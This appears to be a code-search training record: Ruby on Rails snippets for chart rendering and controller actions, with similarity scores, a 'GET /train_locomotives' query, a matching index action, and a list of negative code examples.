embed_attributes=embed_attributes.merge(:quality=>\"high\")\n embed_attributes=embed_attributes.merge(:width=>chart_width)\n embed_attributes=embed_attributes.merge(:wmode=>'transparent')\n embed_attributes=embed_attributes.merge(:height=>chart_height).merge(:name=>chart_id)\n embed_attributes=embed_attributes.merge(:allowScriptAccess=>\"always\")\n embed_attributes=embed_attributes.merge(:type=>\"application/x-shockwave-flash\")\n embed_attributes=embed_attributes.merge(:pluginspage=>\"http://www.macromedia.com/go/getflashplayer\")\n embed_tag=content_tag(\"embed\",\"\",embed_attributes)\n concat(content_tag(\"object\",\"\\n\\t\\t\\t\\t\"+param_tag1+\"\\n\\t\\t\\t\\t\"+param_tag2+\"\\n\\t\\t\\t\\t\"+param_tag3+\"\\n\\t\\t\\t\\t\"+param_tag4+\"\\n\\t\\t\\t\\t\"+param_tag5+\"\\n\\t\\t\\t\\t\"+embed_tag+\"\\n\\t\\t\",object_attributes),block.binding)\n end",
"def show\n @chart = Chart.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @chart }\n end\n end",
"def show\n @chart = Chart.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @chart }\n end\n end",
"def index\n @projects = Project.all\n @statuses = Status.all\n i = 0\n j=0\n cont=0\n graphs = Array.new(@projects.length)\n @charts = Array.new(@projects.length) \n @projects.each do |p|\n graphs[j] = GoogleVisualr::DataTable.new\n graphs[j].new_column('string', 'Estatus') \n graphs[j].new_column('number', 'Hours per Day')\n graphs[j].add_rows(4)\n graphs[j].set_cell(0, 0, 'No Iniciado' )\n graphs[j].set_cell(1, 0, 'Aceptado' )\n graphs[j].set_cell(2, 0, 'No Aceptado' )\n graphs[j].set_cell(3, 0, 'Listo' )\n @statuses.each do |st|\n s = Story.where(\"status_id = ? AND project_id = ?\", st.id, p.id)\n graphs[j].set_cell(i, 1, s.length )\n cont+=s.length\n i+=1\n end\n opts = { :width => 600, :height => 400, :title => p.nombre + ' - Total Features: '+ cont.to_s, :colors => ['#dc3912', '#109618', '#ff9900', '#3366cc'], :is3D => true, :backgroundColor => '#f5f5f5' }\n @charts[j] = GoogleVisualr::Interactive::PieChart.new(graphs[j], opts)\n i = 0\n cont = 0\n j+=1\n end\n \n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @charts }\n end\n end",
"def show\n \n @end_at = Date.today\n @start_at = @end_at - 6\n @categories = @start_at.upto(@end_at).to_a\n\n \t#Sales Historyグラフ\n @sales_data = [500, 600, 300, 100, 200, 400, 700,500, 600, 300, 100, 200, 400, 700,100, 200, 400, 700,500, 600, 600, 300, 100, 200,]\n @sales_history = LazyHighCharts::HighChart.new(\"graph\") do |f|\n f.title(:text => \"Sales History\", :align =>\"left\")\n f.chart(:type => \"column\")\n f.xAxis(:categories => @categories)\n f.series(:name => \"Sales\", :data => @sales_data)\n\t end\n\n#Order Historyのグラフ\n @order_data = [80, 60, 30, 10, 40, 50, 90,60, 30, 10, 40, 50, 90,50, 90,60, 30, 10, 40, 50,]\n @order_history = LazyHighCharts::HighChart.new('graph') do |f|\n f.title(text: 'Order History',:align =>\"left\")\n f.xAxis(:categories => @categories)\n f.series(name: 'Order', :data => @order_data)\n end\n\n#Price Historyのグラフ\n @price_data = [80, 60, 30, 10, 40, 50, 90,60, 30, 10, 40, 50, 90,50, 90,60, 30, 10, 40, 50,]\n @price_history = LazyHighCharts::HighChart.new('graph') do |f|\n f.title(text: 'Order History',:align =>\"left\")\n f.xAxis(:categories => @categories)\n f.series(name: 'Order', :data => @price_data)\n end\n \n \n end",
"def render\n generate_content\n @pdf.render\n end",
"def render(renderer)\n output = Renderer.const_get(renderer).new(@grid.width, @grid.height, @options)\n\n for e in @figures\n output.render(e) \n end\n output.render_finish\n end",
"def getchart()\n # The data for the pie chart\n data = [18, 45, 28]\n\n # The labels for the pie chart\n labels = [\"Marble\", \"Wood\", \"Granite\"]\n\n # The icons for the sectors\n texture = [\"marble3.png\", \"wood.png\", \"rock.png\"]\n\n # Create a PieChart object of size 400 x 330 pixels, with a metallic green\n # (88EE88) background, black border and 1 pixel 3D border effect\n c = ChartDirector::PieChart.new(400, 330, ChartDirector::metalColor(0x88ee88),\n 0x000000, 1)\n\n # Set directory for loading images to current script directory\n c.setSearchPath(File.dirname(__FILE__))\n\n # Set donut center at (200, 160), and outer/inner radii as 120/60 pixels\n c.setDonutSize(200, 160, 120, 60)\n\n # Add a title box using 15 pts Times Bold Italic font and metallic deep green\n # (008000) background color\n c.addTitle(\"Material Composition\", \"timesbi.ttf\", 15).setBackground(\n ChartDirector::metalColor(0x008000))\n\n # Set the pie data and the pie labels\n c.setData(data, labels)\n\n # Set the colors of the sectors to the 3 texture patterns\n c.setColor(ChartDirector::DataColor + 0, c.patternColor2(texture[0]))\n c.setColor(ChartDirector::DataColor + 1, c.patternColor2(texture[1]))\n c.setColor(ChartDirector::DataColor + 2, c.patternColor2(texture[2]))\n\n # Draw the pie in 3D with a 3D depth of 30 pixels\n c.set3D(30)\n\n # Use 12 pts Arial Bold Italic as the sector label font\n c.setLabelStyle(\"arialbi.ttf\", 12)\n\n # Output the chart\n send_data(c.makeChart2(ChartDirector::PNG), :type => \"image/png\",\n :disposition => \"inline\")\n end",
"def render_charts?\n @render_charts\n end",
"def render\n render_background\n\n render_heat_maps\n\n render_star\n render_target\n render_hills\n render_walls\n\n render_paths\n end",
"def new\n @chart = Chart.new\n\n respond_to do |format|\n # format.html # new.html.erb\n format.html # new.html.haml\n format.json { render json: @chart }\n end\n end",
"def to_ly\n template_dir = File.join(File.dirname(__FILE__), '../../templates/')\n template_path = File.join(template_dir, 'chartup.ly.erb')\n template = File.read(template_path)\n renderer = ERB.new(template)\n rendered = renderer.result(binding)\n end",
"def index\n respond_to do |format|\n format.html do\n @data = json_for_bar_chart(@moving)\n end\n format.csv do\n csv = MovingCsv.new(@moving)\n send_data csv.data, csv.config\n end\n end\n end",
"def getchart()\n # Data for outer ring\n data = [88, 124, 96]\n\n # Data for inner ring\n data2 = [77, 87, 45]\n\n # Labels for the sectors\n labels = [\"Hardware\", \"Software\", \"Services\"]\n\n # Colors for the sectors\n colors = [0xff9999, 0x9999ff, 0x66ff66]\n\n #\n # Create the main chart, which contains the chart title, the outer ring, and the\n # legend box\n #\n\n # Create a PieChart object of size 450 x 360 pixels, with transparent background\n c = ChartDirector::PieChart.new(450, 360)\n\n # Add a title to the chart with 18pts Times Bold Italic font\n c.addTitle(\"Concentric Donut Chart\", \"timesbi.ttf\", 18)\n\n # Set donut center at (160, 200), and outer/inner radii as 150/100 pixels\n c.setDonutSize(160, 200, 150, 100)\n\n # Add a label at the bottom-right corner of the ring to label the outer ring Use\n # 12pts Arial Bold Italic font in white (ffffff) color, on a green (008800)\n # background, with soft lighting effect and 5 pixels rounded corners\n t = c.addText(260, 300, \" Year 2006 \", \"arialbi.ttf\", 12, 0xffffff)\n t.setBackground(0x008800, ChartDirector::Transparent, ChartDirector::softLighting(\n ))\n t.setRoundedCorners(5)\n\n # Set the legend box at (320, 50) with 12 pts Arial Bold Italic font, with no\n # border\n c.addLegend(320, 50, true, \"arialbi.ttf\", 13).setBackground(\n ChartDirector::Transparent, ChartDirector::Transparent)\n\n # Set the pie data and the pie labels\n c.setData(data, labels)\n\n # Set the pie colors\n c.setColors2(ChartDirector::DataColor, colors)\n\n # Set pie border color to white (ffffff)\n c.setLineColor(0xffffff)\n\n # Set pie label to value in $###M format, percentage in (##.#%) format, in two\n # lines.\n c.setLabelFormat(\"${value}M<*br*>({percent|1}%)\")\n\n # Use 10pts Airal Bold for the sector labels\n c.setLabelStyle(\"arialbd.ttf\", 10)\n\n # Set the label position to -25 pixels from the sector (which would be internal to\n # the sector)\n c.setLabelPos(-25)\n\n #\n # Create the inner ring.\n #\n\n # Create a PieChart object of size 280 x 320 pixels, with transparent background\n c2 = ChartDirector::PieChart.new(280, 320, ChartDirector::Transparent)\n\n # Set donut center at (110, 110), and outer/inner radii as 100/50 pixels\n c2.setDonutSize(110, 110, 100, 50)\n\n # Add a label at the center of the ring to label the inner ring. Use 12pts Arial\n # Bold Italic font in white (ffffff) color, on a deep blue (0000cc) background,\n # with soft lighting effect and 5 pixels rounded corners\n t2 = c2.addText(110, 110, \" Year 2005 \", \"arialbi.ttf\", 12, 0xffffff,\n ChartDirector::Center)\n t2.setBackground(0x0000cc, ChartDirector::Transparent,\n ChartDirector::softLighting())\n t2.setRoundedCorners(5)\n\n # Set the pie data and the pie labels\n c2.setData(data2, labels)\n\n # Set the pie colors\n c2.setColors2(ChartDirector::DataColor, colors)\n\n # Set pie border color to white (ffffff)\n c2.setLineColor(0xffffff)\n\n # Set pie label to value in $###M format, percentage in (##.#%) format, in two\n # lines.\n c2.setLabelFormat(\"${value}M<*br*>({percent|1}%)\")\n\n # Use 10pts Airal Bold for the sector labels\n c2.setLabelStyle(\"arialbd.ttf\", 10)\n\n # Set the label position to -25 pixels from the sector (which would be internal to\n # the sector)\n c2.setLabelPos(-25)\n\n # merge the inner ring into the outer ring at (50, 90)\n c.makeChart3().merge(c2.makeChart3(), 50, 90, ChartDirector::TopLeft, 0)\n\n # Output the chart\n send_data(c.makeChart2(ChartDirector::PNG), :type => \"image/png\",\n :disposition => \"inline\")\n end",
"def show\n if @city.statistics.size > 2\n sdate = @city.statistics.keys[1].to_date\n edate = @city.statistics.keys.last.to_date\n stime = Time.new(sdate.year, sdate.month, sdate.day, 0, 0, 0, @city.zone)\n etime = Time.new(edate.year, edate.month, edate.day, 0, 0, 0, @city.zone)\n\n data = @city.statistics.values[1...-1].map{|s| s[:total]}\n interval = 1.day\n\n @count = LazyHighCharts::HighChart.new('graph') do |f|\n f.title(:text => \"Medias Count\")\n f.xAxis(type: \"datetime\", maxZoom: (etime - stime).to_i)\n f.series(\n name: \"count\", \n yAxis: 0, \n data: data,\n pointStart: stime,\n pointInterval: interval\n )\n\n f.yAxis [\n {:title => {:text => \"count\", :margin => 70}, min: 0 },\n ]\n\n f.legend(:align => 'right', :verticalAlign => 'top', :y => 75, :x => -50, :layout => 'vertical',)\n f.chart({:defaultSeriesType=>\"spline\"})\n end\n\n distributions = @city.statistics.values[1...-1].map{|s| s[:distribution]}\n distribution_data = distributions.inject([]) do |res, d|\n d.each_with_index do |c, i|\n res[i] ||= []\n res[i] << c\n end\n res\n end\n distribution_data.each{ |d| d.extend(DescriptiveStatistics) }\n\n @distribution = LazyHighCharts::HighChart.new('graph') do |f|\n f.title(:text => \"Medias Distribution\")\n f.xAxis(\n categories: 24.times.map{ |h| (\"%02d\" % h) + \":00\" }\n )\n f.series(\n name: 'mean',\n yAxis: 0,\n data: distribution_data.map(&:mean)\n )\n f.series(\n name: 'standard eviation',\n yAxis: 0,\n data: distribution_data.map(&:standard_deviation)\n )\n f.yAxis [\n {min: 0}\n ]\n f.legend(:align => 'right', :verticalAlign => 'top', :y => 150, :x => -50, :layout => 'vertical',)\n f.chart({:defaultSeriesType=>\"spline\"})\n end\n end\n end",
"def index\n @charts = Chart.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @charts }\n end\n end",
"def emissions_chart_data\n data = ::Api::Charts::CPAssessment.new(@cp_assessment, params[:view]).emissions_data\n\n render json: data.chart_json\n end",
"def show\n @visualization = Visualization.find(params[:id])\n @project = Project.find_by_id(@visualization.project_id)\n tmp = JSON.parse(@visualization.data)\n param_vis = param_vis_check(params)\n\n # The finalized data object\n @data = {\n savedData: @visualization.data,\n savedGlobals: @visualization.globals,\n defaultVis: param_vis || tmp['defaultVis'],\n relVis: tmp['relVis']\n }\n\n recur = params.key?(:recur) ? params[:recur] == 'true' : false\n\n options = {}\n\n # Detect presentation mode (and force embed)\n if params.try(:[], :presentation) and params[:presentation]\n @presentation = true\n options[:presentation] = 1\n params[:embed] = true\n else\n @presentation = false\n end\n\n respond_to do |format|\n format.html do\n if params.try(:[], :embed) and params[:embed]\n options[:isEmbed] = 1\n options[:startCollapsed] = 1\n @globals = { options: options }\n render 'embed', layout: 'embedded'\n else\n @layout_wide = true\n render\n end\n end\n format.json { render json: @visualization.to_hash(recur) }\n end\n end",
"def render(options = {})\n options[:theme] ||= theme\n options[:value_formatter] ||= value_formatter\n options[:point_markers] ||= point_markers\n options[:size] ||= (options[:width] ? [options[:width], (options.delete(:width) * 0.6).to_i] : [600, 360])\n options[:title] ||= title\n options[:layers] ||= layers\n options[:min_value] ||= bottom_value(:padded)\n options[:max_value] ||= top_value\n options[:graph] ||= self\n \n\n # Removed for now.\n # Added for making smaller fonts more legible, but may not be needed after all.\n #\n # if options[:as] && (options[:size][0] <= 300 || options[:size][1] <= 200)\n # options[:actual_size] = options[:size]\n # options[:size] = [800, (800.to_f * (options[:actual_size][1].to_f / options[:actual_size][0].to_f))]\n # end\n \n svg = ( options[:renderer].nil? ? self.renderer.render( options ) : options[:renderer].render( options ) )\n \n # SVG to file.\n if options[:to] && options[:as].nil?\n File.open(options[:to], 'w') { |file|\n file.write(svg)\n }\n end\n \n options[:as] ? rasterizer.rasterize(svg, options) : svg\n end",
"def render_visualizations\n if @google_visualizations\n package_list = @visualization_packages.uniq.collect do |p|\n package = p.to_s.camelize.downcase\n package = \"corechart\" if [\"areachart\", \"barchart\", \"columnchart\", \"linechart\", \"piechart\"].include?(package)\n \"\\'#{package}\\'\"\n end\n output = %Q(\n <script type=\"text/javascript\">\n google.load('visualization', '1', {'packages':[#{package_list.uniq.join(',')}]});\n google.setOnLoadCallback(drawCharts);\n var chartData = {};\n var visualizationCharts = {};\n function drawCharts() { )\n @google_visualizations.each do |id, vis|\n output += generate_visualization(id, vis[0], vis[1], vis[2])\n end\n output += \"} </script>\"\n raw(output + \"<!-- Rendered Google Visualizations /-->\")\n else\n raw(\"<!-- No graphs on this page /-->\") if debugging?\n end\n end"
] |
[
"0.73793256",
"0.71304905",
"0.70487463",
"0.7032319",
"0.69694126",
"0.69295007",
"0.69255656",
"0.69129133",
"0.69128174",
"0.68344223",
"0.6826156",
"0.68255234",
"0.6810791",
"0.6803158",
"0.6785608",
"0.67432153",
"0.67410535",
"0.6721165",
"0.67112935",
"0.67078435",
"0.6697408",
"0.6694526",
"0.66887486",
"0.66844934",
"0.6669086",
"0.66498214",
"0.6644496",
"0.6642862",
"0.66307795",
"0.66203713",
"0.6614862",
"0.6612074",
"0.6604545",
"0.6592078",
"0.6572745",
"0.65562654",
"0.6541065",
"0.6520348",
"0.6504808",
"0.65044636",
"0.64758027",
"0.642083",
"0.6409502",
"0.6404182",
"0.63919765",
"0.6373785",
"0.63565576",
"0.63292044",
"0.6296632",
"0.629054",
"0.62797964",
"0.6279565",
"0.62732774",
"0.627204",
"0.6267767",
"0.6224489",
"0.6216721",
"0.6206906",
"0.61988264",
"0.6195612",
"0.6183519",
"0.6168284",
"0.61641324",
"0.61579525",
"0.6103996",
"0.6084124",
"0.60793704",
"0.60564435",
"0.60508657",
"0.6039847",
"0.60299486",
"0.60267574",
"0.6020392",
"0.6010361",
"0.6005969",
"0.6005969",
"0.5989297",
"0.5983206",
"0.5967487",
"0.5963167",
"0.5958017",
"0.5946903",
"0.5946903",
"0.5941361",
"0.5933201",
"0.59266156",
"0.5926038",
"0.58960915",
"0.5890225",
"0.5889224",
"0.5888658",
"0.5886179",
"0.58703774",
"0.5862211",
"0.586023",
"0.58407414",
"0.5834475",
"0.5822056",
"0.58217597",
"0.58150065"
] |
0.655061
|
36
|
GET /train_locomotives GET /train_locomotives.json
|
def index
@train_locomotives = TrainLocomotive.all
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_train_locomotive\n @train_locomotive = TrainLocomotive.find(params[:id])\n end",
"def index\n @lovs = Lov.all\n end",
"def train_locomotive_params\n params.require(:train_locomotive).permit(:operator_id, :locomotive_class_name, :locomotive_class_number, :make_id, :locomotive_type_id, :box_number, :owner_id, :price, :decoder_id, :decoder_address, :picture, :delete_image)\n end",
"def create\n @train_locomotive = TrainLocomotive.new(train_locomotive_params)\n\n respond_to do |format|\n if @train_locomotive.save\n format.html { redirect_to @train_locomotive, notice: 'Train locomotive was successfully created.' }\n format.json { render action: 'show', status: :created, location: @train_locomotive }\n else\n format.html { render action: 'new' }\n format.json { render json: @train_locomotive.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @lophs = Loph.all\n respond_to do |format|\n format.html\n format.json { render json: @lophs}\n end\n end",
"def index\n @losts = Lost.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @losts }\n end\n end",
"def locomotives_all\n @locomotives = Locomotive.all\n respond_with(@locomotives)\n end",
"def index\n @lomeins = Lomein.all\n end",
"def index\n @lables = Lable.all\n end",
"def index\n @loves = Love.all\n render json: @loves\n end",
"def index\n @trainings = Training.all\n end",
"def index\n @trainings = Training.all\n end",
"def index\n @trainings = Training.all\n end",
"def index\n @predictions = Prediction.all\n end",
"def index\n @trainmodels = Trainmodel.all\n end",
"def index\n @luteins = Lutein.all\n end",
"def index\n @lop = Lop.find(params[:lop_id])\n end",
"def fetchTriples(dataDir, minConfidence)\n return NellELoad.allTriples(dataDir, minConfidence, NellE::STRICT_TRAINING_REL_FILENAMES)\nend",
"def index\n @lifelines = Lifeline.all\n end",
"def destroy\n @train_locomotive.destroy\n respond_to do |format|\n format.html { redirect_to train_locomotives_url }\n format.json { head :no_content }\n end\n end",
"def index\n @loveyotubes = Loveyotube.all\n end",
"def index\n @process_trainings = ProcessTraining.all\n end",
"def index\n @training_methods = TrainingMethod.all\n end",
"def index\n @objectives = @goal.objectives.all \n render json: @objectives \n end",
"def index\n @trainclasses = Trainclass.all\n end",
"def index\n @train_data = TrainDatum.all\n end",
"def index\n @lounges = Lounge.all\n end",
"def index\n @tunes = Tune.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tunes }\n end\n end",
"def index\n @trainings = Training.all.paginate(page: params[:page], per_page: 3)\n end",
"def index\n @pt_trainers = Pt::Trainer.all\n end",
"def index\n @lounges = Lounge.new \n @all_lounges = Lounge.all\n end",
"def index\n @litigantes = Litigante.all\n end",
"def index\n @trainbots = Trainbot.all\n end",
"def loo_list(input={}, raw=false)\n response = get('mw/Argos/LOO.List', input, raw)\n end",
"def update\n respond_to do |format|\n if @train_locomotive.update(train_locomotive_params)\n format.html { redirect_to @train_locomotive, notice: 'Train locomotive was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @train_locomotive.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @trainruns = Trainrun.all\n end",
"def index\n @lifepointes = Lifepointe.search(params[:search])\n @lifepointe = Lifepointe.new\n end",
"def index\n @lessons = Lesson.all\n\n render 'index.json'\n end",
"def trainings\n render json: @plan.trainings\n end",
"def index\n @laws = Law.ordered_roots\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @laws }\n end\n end",
"def show\n @training = trainings.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @training }\n end\n end",
"def index\n @laptops = Laptop.all\n end",
"def index\n @laptops = Laptop.all\n end",
"def index\n @livingexpenses = Livingexpense.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @livingexpenses }\n end\n end",
"def index\n @company = Company.find( params[:company_id])\n @trainings = @company.trainings.find( params[:training_id])\n # - @courses = @trainings.courses\n end",
"def index\n #@lessons = Lesson.all\n @lessons = @course.lessons.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @lessons }\n end\n end",
"def index\n @lectors = Lector.all\n end",
"def show\n @traindetails = Traindetails.all\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @traindetails }\n end\n end",
"def index\n @learners = Learner.all\n end",
"def index\n #@lodgings = Lodging.all\n @lodgings = @travel.lodgings.all\n end",
"def index \n @lancamentorapido = Lancamentorapido.new \n @lancamentorapidos = Lancamentorapido.all\n \n @categorias = Category.all\n @centrosdecusto = Centrodecusto.all \n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @lancamentorapidos }\n end\n end",
"def index\n @lugars = Lugar.all\n\n render json: @lugars\n end",
"def index\n @lodgings = Lodging.all\n end",
"def index\n @lodgings = Lodging.all\n end",
"def index\n @trainings = @runner.trainings #.limit(16).order(date: :desc) #esto no funciona si son del mismo dia\n @training = Training.new\n end",
"def show\n @lsa_training_unique_word = LsaTrainingUniqueWord.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lsa_training_unique_word }\n end\n end",
"def index\n @personal_trainings = PersonalTraining.all\n end",
"def index\n @training_active_jobs = Training::ActiveJob.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @training_active_jobs }\n end\n end",
"def index\n @weight_trainnings = WeightTrainning.all\n end",
"def index\n @prediction = Prediction.all\n end",
"def show\n @city = City.find(params[:id])\n @trainings = @city.get_training_status \n\n respond_to do |format|\n format.html # show.html.erb\n end\n end",
"def index\n @litters = Litter.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @litters }\n end\n end",
"def loans\n url = \"#{LOANS_PATH}/pre-approved\"\n data = perform_get(url)\n data || {}\n end",
"def index\n @loans = @tool.loans.all\n end",
"def index\n @lesson_learneds = LessonLearned.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @lesson_learneds }\n end\n end",
"def index\n @lectures = Lecture.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @lectures }\n end\n end",
"def index\n # (This uses Squeel DSL syntax for where clauses)\n if params[:title_like]\n filter = \"%#{params[:title_like]}%\"\n @trainings = Training.where( [\"title LIKE ?\", filter] )\n .order( 'updated_at DESC', 'title' )\n else\n @trainings = Training.order( :title ).all\n end\n render status: 200, json: @trainings\n end",
"def index\n @spltrains = Spltrain.all\n end",
"def index\n render json: Loan.all\n end",
"def index\n @title = \"Listing loos | TheLooProject\"\n @loos = Loo.all\n end",
"def index \n render json: Tuning.all\n end",
"def index\n @learning_statuses = LearningStatus.all\n end",
"def new\n @lsa_training_unique_word = LsaTrainingUniqueWord.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lsa_training_unique_word }\n end\n end",
"def index\n @lensas = Lensa.all\n end",
"def show\n render status: 200, json: Training.find(params[:id])\n end",
"def show\n @training_level = TrainingLevel.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @training_level }\n end\n end",
"def index\n # redirect /oj to here\n load_trips\n\n respond_to do |format|\n format.html { render :index }\n end\n end",
"def create\n @lov = Lov.new(lov_params)\n\n respond_to do |format|\n if @lov.save\n format.html { redirect_to @lov, notice: 'Lov was successfully created.' }\n format.json { render :show, status: :created, location: @lov }\n else\n format.html { render :new }\n format.json { render json: @lov.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @labs = Lab.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @labs }\n end\n end",
"def index\n @labs = Lab.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @labs }\n end\n end",
"def create\n @train = Train.new(train_params)\n\n respond_to do |format|\n if @train.save\n format.html { redirect_to @train, notice: 'Train was successfully created.' }\n format.json { render action: 'show', status: :created, location: @train }\n else\n format.html { render action: 'new' }\n format.json { render json: @train.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @load_vehicle = LoadVehicle.all\n respond_to do |format|\n format.json { render json: @load_vehicle }\n end\n end",
"def index\n @tunes = Tune.all\n end",
"def new\n @training_level = TrainingLevel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @training_level }\n end\n end",
"def index\n @request_class_labs = RequestClassLab.all\n end",
"def index\n @the_loai_saches = TheLoaiSach.all\n end",
"def index\n @trainers = Trainer.all\n end",
"def index\n @trainers = Trainer.all\n end",
"def index\n @trainers = Trainer.all\n end",
"def index\n @ladings = Lading.all\n end",
"def index\n @laws = Law.sorted\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @laws }\n end\n end",
"def show_train(name)\n selected_station = select_station(name)\n selected_station.each_train do |train|\n puts \"Train number: #{train.number}\"\n puts \"Train type: #{train.type}\"\n puts \"Train speed: #{train.speed}\"\n puts \"Wagons list: #{train.wagons.size}\"\n end\n end",
"def index\n @trips = Trip.all\n\n render json: @trips\n end",
"def index\n @trips = Trip.all\n\n render json: @trips\n end",
"def request_trending\n base_uri = 'http://localhost:8888/developers'\n response = RestClient.get( base_uri, { params: { language: cleaned_query_param } } )\n @data = JSON.parse(response) \n end",
"def index\n @lincenses = Lincense.all\n end",
"def index\n @training_contents = TrainingContent.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @training_contents }\n end\n end",
"def index\n @laboratories = Laboratory.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @laboratories }\n end\n end",
"def index\n @angelitopros = Angelitopro.all\n end",
"def index\n @trips = Trip.all\n render :json => @trips\n end"
] |
[
"0.6873654",
"0.6431473",
"0.6411481",
"0.6360179",
"0.6149085",
"0.6086077",
"0.6008904",
"0.58638084",
"0.5842019",
"0.57886094",
"0.5773354",
"0.5773354",
"0.5773354",
"0.5725371",
"0.57190377",
"0.57012564",
"0.56764406",
"0.5670292",
"0.564198",
"0.5622961",
"0.56053895",
"0.5603883",
"0.55970806",
"0.5592858",
"0.55917734",
"0.55904657",
"0.5584272",
"0.5579384",
"0.5574688",
"0.5557034",
"0.5555244",
"0.55303526",
"0.5528636",
"0.55156684",
"0.551129",
"0.55060136",
"0.54765725",
"0.5474929",
"0.543551",
"0.54334474",
"0.5421482",
"0.54107237",
"0.54107237",
"0.54060346",
"0.5399192",
"0.5394982",
"0.53908986",
"0.5388222",
"0.5380211",
"0.5377356",
"0.5362218",
"0.5356846",
"0.53530717",
"0.53530717",
"0.5352997",
"0.5334175",
"0.5329541",
"0.53268045",
"0.5326347",
"0.5324222",
"0.53230447",
"0.5322594",
"0.53089285",
"0.530696",
"0.53018606",
"0.5298023",
"0.52979887",
"0.5293876",
"0.52907556",
"0.52863735",
"0.5285007",
"0.5274557",
"0.5272235",
"0.52682877",
"0.5262445",
"0.52502906",
"0.5248359",
"0.52468807",
"0.5242311",
"0.5242311",
"0.5241981",
"0.52407074",
"0.5233071",
"0.52320343",
"0.5231176",
"0.52301157",
"0.52250344",
"0.52250344",
"0.52250344",
"0.5222552",
"0.5220502",
"0.52117664",
"0.520785",
"0.520785",
"0.51857257",
"0.5184357",
"0.51814395",
"0.51807183",
"0.51790357",
"0.51755303"
] |
0.7539062
|
0
|
GET /train_locomotives/1 GET /train_locomotives/1.json
|
def show
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @train_locomotives = TrainLocomotive.all\n end",
"def set_train_locomotive\n @train_locomotive = TrainLocomotive.find(params[:id])\n end",
"def create\n @train_locomotive = TrainLocomotive.new(train_locomotive_params)\n\n respond_to do |format|\n if @train_locomotive.save\n format.html { redirect_to @train_locomotive, notice: 'Train locomotive was successfully created.' }\n format.json { render action: 'show', status: :created, location: @train_locomotive }\n else\n format.html { render action: 'new' }\n format.json { render json: @train_locomotive.errors, status: :unprocessable_entity }\n end\n end\n end",
"def train_locomotive_params\n params.require(:train_locomotive).permit(:operator_id, :locomotive_class_name, :locomotive_class_number, :make_id, :locomotive_type_id, :box_number, :owner_id, :price, :decoder_id, :decoder_address, :picture, :delete_image)\n end",
"def index\n @lovs = Lov.all\n end",
"def index\n @lophs = Loph.all\n respond_to do |format|\n format.html\n format.json { render json: @lophs}\n end\n end",
"def index\n @losts = Lost.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @losts }\n end\n end",
"def index\n @lop = Lop.find(params[:lop_id])\n end",
"def index\n @lables = Lable.all\n end",
"def index\n @trainings = Training.all\n end",
"def index\n @trainings = Training.all\n end",
"def index\n @trainings = Training.all\n end",
"def index\n @trainmodels = Trainmodel.all\n end",
"def show\n @training = trainings.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @training }\n end\n end",
"def index\n @predictions = Prediction.all\n end",
"def destroy\n @train_locomotive.destroy\n respond_to do |format|\n format.html { redirect_to train_locomotives_url }\n format.json { head :no_content }\n end\n end",
"def show\n @lsa_training_unique_word = LsaTrainingUniqueWord.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lsa_training_unique_word }\n end\n end",
"def locomotives_all\n @locomotives = Locomotive.all\n respond_with(@locomotives)\n end",
"def show\n @traindetails = Traindetails.all\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @traindetails }\n end\n end",
"def index\n @loves = Love.all\n render json: @loves\n end",
"def index\n @train_data = TrainDatum.all\n end",
"def update\n respond_to do |format|\n if @train_locomotive.update(train_locomotive_params)\n format.html { redirect_to @train_locomotive, notice: 'Train locomotive was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @train_locomotive.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @lomeins = Lomein.all\n end",
"def show\n render status: 200, json: Training.find(params[:id])\n end",
"def index\n @trainruns = Trainrun.all\n end",
"def index\n @lifelines = Lifeline.all\n end",
"def index\n @trainclasses = Trainclass.all\n end",
"def fetchTriples(dataDir, minConfidence)\n return NellELoad.allTriples(dataDir, minConfidence, NellE::STRICT_TRAINING_REL_FILENAMES)\nend",
"def new\n @lsa_training_unique_word = LsaTrainingUniqueWord.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lsa_training_unique_word }\n end\n end",
